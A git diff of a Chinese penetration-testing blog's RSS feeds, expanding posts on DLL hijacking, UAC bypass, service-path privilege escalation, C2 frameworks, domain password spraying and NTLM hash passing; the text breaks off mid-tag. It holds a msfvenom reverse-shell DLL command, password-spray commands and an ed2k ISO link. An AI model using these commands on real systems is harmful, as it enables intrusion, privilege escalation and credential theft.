style="color:#f92672">&amp;</span>dwFileSize, NULL); <span style="color:#75715e">// 写入文件 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">CloseHandle</span>(hSave); <span style="color:#75715e">// 保存 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 释放堆 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">HeapFree</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), <span style="color:#ae81ff">0</span>, lpBuffer); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 关闭文件 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">CloseHandle</span>(hFile); +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>效果如下:</p></description></item></channel></rss> \ No newline at end of file diff --git "a/categories/windows\347\274\226\347\250\213\346\212\200\346\234\257/index.xml" "b/categories/windows\347\274\226\347\250\213\346\212\200\346\234\257/index.xml" index 9323511..4e0000f 100644 --- "a/categories/windows\347\274\226\347\250\213\346\212\200\346\234\257/index.xml" +++ "b/categories/windows\347\274\226\347\250\213\346\212\200\346\234\257/index.xml" @@ -24,4 +24,64 @@ </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> _In_ DWORD fdwReason, <span style="color:#75715e">// 调用原因 </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> _In_ LPVOID lpvReserved <span style="color:#75715e">// 隐式加载和显式加载 </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>); -</span></span></code></pr</description></item></channel></rss> \ No newline at end of file +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x01-dllmain调用原因">0x01 DllMain调用原因</h2> +<p>其中<code>fdwReason</code>用来表示Dll被调用的状态,一共分为四种:</p> +<ul> +<li>DLL_PROCESS_ATTACH 被进程加载</li> +<li>DLL_PROCESS_DETACH 被进程释放</li> +<li>DLL_THREAD_ATTACH 被线程加载</li> +<li>DLL_THREAD_DETACH 被线程释放</li> +</ul> +<p>在DllMain中通常为了捕获DLL被调用的方式来进行某些动作:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>BOOL APIENTRY <span style="color:#a6e22e">DllMain</span>( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">switch</span> (ul_reason_for_call) +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> DLL_PROCESS_ATTACH: +</span></span><span style="display:flex;"><span>   printf(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">process attach of dll&#34;</span>); +</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> DLL_THREAD_ATTACH: +</span></span><span style="display:flex;"><span>   printf(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">thread attach of dll&#34;</span>); +</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> DLL_THREAD_DETACH: +</span></span><span style="display:flex;"><span>   printf(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">thread detach of dll&#34;</span>); +</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> DLL_PROCESS_DETACH: +</span></span><span style="display:flex;"><span>   printf(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">process detach of dll&#34;</span>); +</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> TRUE; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-那些用于测试dll劫持的dllmain-poc">0x02 那些用于测试DLL劫持的DllMain POC</h2> +<ul> +<li><a href="https://cxsecurity.com/issue/WLB-2018090232">https://cxsecurity.com/issue/WLB-2018090232</a></li> +<li><a href="https://cxsecurity.com/issue/WLB-2015010114">https://cxsecurity.com/issue/WLB-2015010114</a></li> +</ul> +<p>在测试很多DLL劫持的漏洞时,都喜欢用DllMain,是因为DllMain被进程加载或者释放都会自动调用运行。</p></description></item></channel></rss> \ No newline at end of file diff --git "a/categories/\345\206\205\347\275\221\346\270\227\351\200\217/index.xml" "b/categories/\345\206\205\347\275\221\346\270\227\351\200\217/index.xml" index e74ba1d..892213b 100644 --- "a/categories/\345\206\205\347\275\221\346\270\227\351\200\217/index.xml" +++ "b/categories/\345\206\205\347\275\221\346\270\227\351\200\217/index.xml" @@ -19,7 +19,47 @@ </div> </div><h2 id="0x02-c2command-and-control简介">0x02 C2(Command and Control)简介</h2> <p>C2,其含义在安全领域中意思是命令与控制,具体的技术表现为远控木马。 -是一种通常用于持续控制一个或多个目标的技术手段,这个技术手段覆盖了<strong>多种</strong>网络通信(计算机交互、通信)的方式。</p></description></item><item><title>Visual Studio 调试DLLhttps://payloads.online/archivers/2019-01-26/2/Sat, 26 Jan 2019 00:00:00 +0000https://payloads.online/archivers/2019-01-26/2/<p> +是一种通常用于持续控制一个或多个目标的技术手段,这个技术手段覆盖了<strong>多种</strong>网络通信(计算机交互、通信)的方式。</p> +<p>这个“多种”指的是有很多种方式,基于HTTP、SMTP、HTTPS、纯数据报文、&hellip;.</p> +<p> + <img src="https://images.payloads.online/544f0bbe-4f5f-11ec-8dda-00d861bf4abb.png" alt="2019-03-30-13-59-17"> + +</p> +<h2 id="0x03-c2的原理">0x03 C2的原理</h2> +<p>命令与控制的原理就是目标机器主动或被动的与控制端进行交互,不断获取指令执行。</p> +<p>交互:可能不是一个直接的网络连接</p> +<p>命令与控制在行为上一般需要与许多操作系统接口进行交互,例如:网络通信、文件读写、进程管理等。</p> +<h2 id="0x04-后渗透平台--cobalt-strike">0x04 后渗透平台 – Cobalt Strike</h2> +<p> + <img src="https://images.payloads.online/54b23a54-4f5f-11ec-8073-00d861bf4abb.png" alt="2019-03-30-14-01-17"> + +</p> +<p>Cobalt Strike是一个跨平台、多人协作式、红队评估后渗透平台。 +它支持多人通信、权限维持、文件操作、提权、横向渗透……等多种功能,使用者只需要部署好teamserver就可以在任意平台上连接teamserver进行渗透。</p> +<p><a href="https://www.cobaltstrike.com/">https://www.cobaltstrike.com/</a></p> +<h2 id="0x05-后渗透平台--metasploit-framework">0x05 后渗透平台 – Metasploit Framework</h2> +<p> + <img src="https://images.payloads.online/54ecdbb4-4f5f-11ec-8615-00d861bf4abb.png" alt="2019-03-30-14-02-15"> + +</p> +<p>Metasploit Framework是一个跨平台、开源、较为开放式的安全评估平台。 +它支持权限维持、文件操作、提权、横向渗透、载荷生成……等多种功能,使得渗透更加灵活。</p> +<p><a href="https://www.metasploit.com/">https://www.metasploit.com/</a></p> +<h2 id="0x06-后渗透的需求">0x06 后渗透的需求</h2> +<p>通过一些常用的平台、工具总结,我得出一些以下几个基本需求:</p> +<p> + <img src="https://images.payloads.online/55265e0c-4f5f-11ec-8636-00d861bf4abb.png" alt="2019-03-30-14-03-35"> + +</p> +<p>这些需求就必定要形成一个跨平台支持、兼容性最好、拓展性强的框架,而大部分框架的基础模式就是如下所说。</p> +<h3 id="框架基本组成">框架基本组成</h3> +<ul> +<li>PAYLOAD</li> +<li>模块</li> +<li>漏洞</li> +</ul> +<h2 id="0x07-payload进入目标机器内存的方式">0x07 PAYLOAD进入目标机器内存的方式</h2> +<p>在常规的渗透过程里,为了获得一定的权限,基本上绝大部分的动机都是在目标机器上的内存种执行指令,它的表现形式大部分都是一个后门、加载器等。</p>Visual Studio 调试DLLhttps://payloads.online/archivers/2019-01-26/2/Sat, 26 Jan 2019 00:00:00 +0000https://payloads.online/archivers/2019-01-26/2/<p> <img src="https://images.payloads.online/4b0d4868-4f5f-11ec-b255-00d861bf4abb.png" alt="2019-01-26-18-26-19"> </p> @@ -57,7 +97,18 @@ </ul> <p>在最后它会寻找<code>C:\Users\&lt;Username&gt;\APPData\Local\Microsoft\WindowsApps\</code>这个目录,而这个目录的读写是不需要触发UAC获得管理员权限来操作的。</p> <p>由此,可以利用该缺陷,将Coolis转换成DLL,上传至<code>C:\Users\&lt;Username&gt;\APPData\Local\Microsoft\WindowsApps\</code>,紧接着执行SystemPropertiesAdvanced.exe,它会自动将<code>srrstr.dll</code>加载至SystemPropertiesAdvanced.exe进程的内存,同样的,我们也就拥有了管理员权限。</p> -<p>在此之前,我有想过在下列模块里做一些优化:</p>DLL Hijacking & COM Hijacking ByPass UAC - 议题解读https://payloads.online/archivers/2018-12-22/1/Sat, 22 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-22/1/<blockquote> +<p>在此之前,我有想过在下列模块里做一些优化:</p> +<ul> +<li>exploit/windows/local/bypassuac_fodhelper</li> +<li>exploit/windows/local/bypassuac_injection</li> +<li>exploit/windows/local/bypassuac_comhijack</li> +</ul> +<p>我觉得COM劫持的空间还是很大的,并且也一定程度上能够bypass AV。</p> +<p>Demo:</p> +<!-- raw HTML omitted --> +<h2 id="0x03-总结">0x03 总结</h2> +<p>UAC、DLL劫持、COM劫持的问题肯定还会有很多、但是以前的轮子到现在拿起来用基本上都会被行为拦截,这就需要掌握原理去自己探索、创造。</p> +<p>系统镜像:<code>ed2k://|file|cn_windows_server_2019_x64_dvd_4de40f33.iso|5086887936|7DCDDD6B0C60A0D019B6A93D8F2B6D31|/</code></p>DLL Hijacking & COM Hijacking ByPass UAC - 议题解读https://payloads.online/archivers/2018-12-22/1/Sat, 22 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-22/1/<blockquote> <p>在线地址:<a href="https://www.bilibili.com/video/av51718274/">https://www.bilibili.com/video/av51718274/</a></p> </blockquote> <!-- raw HTML omitted --> @@ -93,7 +144,31 @@ <p> <img src="https://images.payloads.online/4516d88e-4f5f-11ec-971e-00d861bf4abb.png" alt=""> -</p>彻底理解Windows认证 - 议题解读https://payloads.online/archivers/2018-11-30/1/Fri, 30 Nov 2018 00:00:00 +0000https://payloads.online/archivers/2018-11-30/1/<p>在内部分享的《彻底理解Windows认证》议题解读,本次议题围绕着Windows认证分别讲解了:</p> +</p> +<p>在Windows平台下,我们使用的应用程序中的功能其实大多都很相似,窗口调用窗口的模块,分配内存调用内存管理的模块,文件操作调用IO模块,这些模块在Windows里的具体表现就是DLL文件。</p> +<h2 id="0x03-dll的加载过程">0X03 DLL的加载过程</h2> +<ul> +<li>1.程序所在目录</li> +<li>2.程序加载目录(SetCurrentDirectory)</li> +<li>3.系统目录即 SYSTEM32 目录</li> +<li>4.16位系统目录即 SYSTEM 目录</li> +<li>5.Windows目录</li> +<li>6.PATH环境变量中列出的目录</li> +</ul> +<p>PS:Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。</p> +<p>注册表路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs</p> +<p> + <img src="https://images.payloads.online/456a6e72-4f5f-11ec-b36a-00d861bf4abb.png" alt=""> + +</p> +<h3 id="dll的加载过程--know-dlls注册表项">DLL的加载过程 – Know DLLs注册表项</h3> +<p>Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。</p> +<p> + <img src="https://images.payloads.online/45b927d8-4f5f-11ec-9b6b-00d861bf4abb.png" alt=""> + +</p> +<h3 id="dll的加载过程--process-monitor">DLL的加载过程 – Process Monitor</h3> +<p>Process Monitor是Windows的高级监视工具,可显示实时文件系统,注册表和进程/线程活动。</p>彻底理解Windows认证 - 议题解读https://payloads.online/archivers/2018-11-30/1/Fri, 30 Nov 2018 00:00:00 +0000https://payloads.online/archivers/2018-11-30/1/<p>在内部分享的《彻底理解Windows认证》议题解读,本次议题围绕着Windows认证分别讲解了:</p> <ul> <li>Pass The Hash</li> <li>Silver Tickets、Golden Tickets、</li> @@ -148,7 +223,42 @@ </tr> </tbody> </table> -<p><strong><a href="https://docs.microsoft.com/en-us/windows/desktop/sysinfo/hkey-classes-root-key">HKEY_CLASSES_ROOT</a> = HKEY_LOCAL_MACHINE + HKEY_CURRENT_USER</strong></p>Windows 本地特权提升技巧https://payloads.online/archivers/2018-10-08/1/Mon, 08 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-08/1/<h2 id="0x00-前言">0x00 前言</h2> +<p><strong><a href="https://docs.microsoft.com/en-us/windows/desktop/sysinfo/hkey-classes-root-key">HKEY_CLASSES_ROOT</a> = HKEY_LOCAL_MACHINE + HKEY_CURRENT_USER</strong></p> +<h3 id="clsid">CLSID</h3> +<p>首先需要介绍一下CLSID(Class Identifier),中文翻译为:“全局唯一标识符”。</p> +<p>CLSID是指Windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配的一个唯一表示它的ID代码,用于对其身份的标识和与其他对象进行区分。</p> +<p>也就是说CLSID就是对象的身份证号,而当一个应用程序想要调用某个对象时,也是通过CLSID来寻找对象的。</p> +<p> + <img src="https://images.payloads.online/2f2090f6-4f5f-11ec-a05c-00d861bf4abb.png" alt=""> + +</p> +<p>按下Ctrl+R打开运行窗口,键入 <code>::{20D04FE0-3AEA-1069-A2D8-08002B30309D}</code>即可打开“我的电脑”</p> +<p>回收站的CLISD是:<code>::{645FF040-5081-101B-9F08-00AA002F954E}</code></p> +<h3 id="clsid是如何创建的">CLSID是如何创建的</h3> +<p>CLSID结构体:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">_GUID</span> {
  +</span></span><span style="display:flex;"><span> DWORD Data1; <span style="color:#75715e">// 随机数
  +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> WORD Data2; <span style="color:#75715e">// 和时间相关
  +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> WORD Data3; <span style="color:#75715e">// 和时间相关
  +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> BYTE Data4[<span style="color:#ae81ff">8</span>]; <span style="color:#75715e">// 和网卡MAC相关
 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> } GUID;

 +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">typedef</span> GUID CLSID;  <span style="color:#75715e">// 组件ID
 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">typedef</span> GUID IID;    <span style="color:#75715e">// 接口ID +</span></span></span></code></pre></td></tr></table> +</div> +</div><p>通过操作系统提供的结构体与API来创建CLSID,保障唯一性。</p>Windows 本地特权提升技巧https://payloads.online/archivers/2018-10-08/1/Mon, 08 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-08/1/<h2 id="0x00-前言">0x00 前言</h2> <p>本文主要有以下章节:</p> <ul> <li>1.服务路径权限可控提权</li> @@ -187,7 +297,62 @@ <img src="https://images.payloads.online/2942f94e-4f5f-11ec-99bc-00d861bf4abb.png" alt=""> -惊喜的发现,<code>“Everyone”</code>用户可以读写该目录下所有文件。</p>QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权https://payloads.online/archivers/2018-06-09/1/Sat, 09 Jun 2018 00:00:00 +0000https://payloads.online/archivers/2018-06-09/1/<h2 id="0x00-dll劫持简介">0x00 DLL劫持简介</h2> +惊喜的发现,<code>“Everyone”</code>用户可以读写该目录下所有文件。</p> +<p>Ps:Everyone代指当前主机下所有用户,包含(Guest)</p> +<h3 id="提权过程">提权过程</h3> +<p>首先,我启用了win7的Guest用户,使用Guest用户登录这台机器:</p> +<p> + <img src="https://images.payloads.online/297e7e1a-4f5f-11ec-af7b-00d861bf4abb.png" alt=""> + + + + <img src="https://images.payloads.online/29b1286a-4f5f-11ec-93d3-00d861bf4abb.png" alt=""> + + +Ping命令都不让用,限制很死。</p> +<p>使用msf生成一个木马:</p> +<p> + <img src="https://images.payloads.online/29f12ac8-4f5f-11ec-aa05-00d861bf4abb.png" alt=""> + + +将木马替换为gwservice.exe</p> +<p> + <img src="https://images.payloads.online/2a32c9ce-4f5f-11ec-b4b8-00d861bf4abb.png" alt=""> + + +先执行测试一下,能否获得Guest的session:</p> +<p> + <img src="https://images.payloads.online/2a70111c-4f5f-11ec-bef8-00d861bf4abb.png" alt=""> + + +获得会话后,注销(或重启)Guest用户,登录管理员用户,获得SYSTEM权限:</p> +<p> + <img src="https://images.payloads.online/2ab054b6-4f5f-11ec-90e5-00d861bf4abb.png" alt=""> + + +提权情况还是要根据服务器本身的环境,我总结的这些方法就是为了优先采用这些方式,而不是直接突突搞EXP ……</p> +<h2 id="0x02-模糊路径提权">0x02 模糊路径提权</h2> +<p>在上一篇中,我们继续基于<code>Gateway Session Service</code>这个服务进行分析其他提权方法:</p> +<p><code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services</code></p> +<p> + <img src="https://images.payloads.online/2af42196-4f5f-11ec-b362-00d861bf4abb.png" alt=""> + + +其中有一个ImagePath的名称,它的值是:</p> +<p><code>C:\Program Files (x86)\Gateway\SSLVPN\gwservice.exe</code></p> +<p>当服务启动时,将会读取这个ImagePath的值,我们无法更改这个值,但是可以通过Windows的特性来巧妙提权。 +注意:当前这个环境只是演示,排除目录权限的原因是100%成功的。</p> +<p>重点:当ImagePath的值不是一个绝对路径时,我们可以通过Windows API中的<code>“CreateProcessA”</code>函数的特性,将木马放置在带有空格目录的同级目录下,当服务启动时,会首先在空格目录当前目录搜索第一个单词的二进制文件。</p> +<p>例子:</p> +<p><code>C:\Program Files (x86)\server process\ssl\service.exe</code></p> +<p>如果不是绝对路径,寻找过程如下:</p> +<ol> +<li>C:\Program.exe</li> +<li>C:\Program Files (x86)\server.exe</li> +<li>C:\Program Files (x86)\server process\ssl\service.exe</li> +</ol> +<p>参考链接: +<a href="https://docs.microsoft.com/zh-cn/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa">https://docs.microsoft.com/zh-cn/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa</a></p>QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权https://payloads.online/archivers/2018-06-09/1/Sat, 09 Jun 2018 00:00:00 +0000https://payloads.online/archivers/2018-06-09/1/<h2 id="0x00-dll劫持简介">0x00 DLL劫持简介</h2> <p>《DLL劫持》技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。 &ndash; 百度百科</p> <h2 id="0x01-应用程序寻找dll的过程">0x01 应用程序寻找DLL的过程</h2> <ul> @@ -218,7 +383,23 @@ <p> <img src="https://images.payloads.online/24ed1d7a-4f5f-11ec-9f88-00d861bf4abb.jpg" alt="0x02"> -</p>Windows域渗透 - 用户密码枚举https://payloads.online/archivers/2018-05-02/1/Wed, 02 May 2018 00:00:00 +0000https://payloads.online/archivers/2018-05-02/1/<h2 id="0x00-前言">0x00 前言</h2> +</p> +<p>那么这个漏洞刚刚好也符合我们的案例:C:\Program Files (x86)\Tencent\QQPinyin\6.0.5005.400</p> +<p>这个目录是任何人都可以读写的,使用MSF生成DLL:</p> +<p><code>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.19 LPORT=4478 -f dll &gt; ntmarta.dll</code></p> +<p>接下来通过任意途径,将dll copy到<code>C:\Program Files (x86)\Tencent\QQPinyin\6.0.5005.400</code>路径下即可</p> +<p>MSF配置如下:</p> +<p> + <img src="https://images.payloads.online/25291a8c-4f5f-11ec-9430-00d861bf4abb.jpg" alt="0x03"> + +</p> +<p>当用户使用输入法的时候、或者重启PC的时候,或者切换输入法的时候,都将会触发,我们可以获得一个Meterpreter会话。</p> +<p> + <img src="https://images.payloads.online/256ca7ca-4f5f-11ec-89a6-00d861bf4abb.jpg" alt="0x04"> + +</p> +<h2 id="0x03-视频演示">0x03 视频演示</h2> +<!-- raw HTML omitted -->Windows域渗透 - 用户密码枚举https://payloads.online/archivers/2018-05-02/1/Wed, 02 May 2018 00:00:00 +0000https://payloads.online/archivers/2018-05-02/1/<h2 id="0x00-前言">0x00 前言</h2> <p>在进行Windows域渗透的时候,面对庞大的用户账号,不知该从何下手,扫描网络服务有怕搞出大动静,肿么办呢?</p> <h2 id="0x01-powershell">0x01 Powershell</h2> <p>目前已经有很多Powershell集合脚本,用于域渗透简直舒爽</p> @@ -248,7 +429,14 @@ <li>参数: <code>Force</code> 当枚举出第一个后继续枚举,不询问</li> </ul> <h2 id="0x03-使用说明">0x03 使用说明</h2> -<p>使用例子:</p>使用CrackMapExec 进行 NTLM Hash传递攻击https://payloads.online/archivers/2018-03-27/1/Tue, 27 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-27/1/<h2 id="0x01-前言">0x01 前言</h2> +<p>使用例子:</p> +<p><code>C:\PS&gt; Get-DomainUserList</code></p> +<p>该命令将从域中收集用户列表。</p> +<p><code>C:\PS&gt; Get-DomainUserList -Domain 域名 -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt</code></p> +<p>该命令将收集域“域名”中的用户列表,包括任何未被禁用且未接近锁定状态的帐户。 它会将结果写入“userlist.txt”文件中</p> +<p><code>C:\PS&gt; Invoke-DomainPasswordSpray -Password Winter2016</code></p> +<p>该命令将会从域环境中获取用户名,然后逐个以密码<code>Winter2016</code>进行认证枚举</p> +<p><code>C:\PS&gt; Invoke-DomainPasswordSpray -UserList users.txt -Domain 域名 -PasswordList passlist.txt -OutFile sprayed-creds.txt</code></p>使用CrackMapExec 进行 NTLM Hash传递攻击https://payloads.online/archivers/2018-03-27/1/Tue, 27 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-27/1/<h2 id="0x01-前言">0x01 前言</h2> <p>早期<code>SMB</code>协议在网络上传输明文口令。后来出现 <code>LAN Manager Challenge/Response </code>验证机制,简称<code>LM</code>,它是如此简单以至很容易就被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。</p> <p>从<code>Win2000</code>开始默认协议为<code>Kerboros</code>,下列情况会调用<code>NTLM</code>:</p> <ul> @@ -282,7 +470,29 @@ <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 -</span></code></pr针对某跨国企业的一次渗透测试-持续https://payloads.online/archivers/2018-01-30/1/Tue, 30 Jan 2018 00:00:00 +0000https://payloads.online/archivers/2018-01-30/1/<p>文章涉及泄漏厂商隐私,已经删除!</p>针对国内一大厂的后渗透 - 持续https://payloads.online/archivers/2017-12-28/1/Thu, 28 Dec 2017 00:00:00 +0000https://payloads.online/archivers/2017-12-28/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>apt-get install -y libssl-dev libffi-dev python-dev build-essential +</span></span><span style="display:flex;"><span>pip install crackmapexec +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x04-传递ntlm-hash执行命令">0x04 传递NTLM Hash执行命令</h2> +<h3 id="使用mimikatz获取ntlm-hash">使用<code>Mimikatz</code>获取<code>NTLM Hash</code></h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span 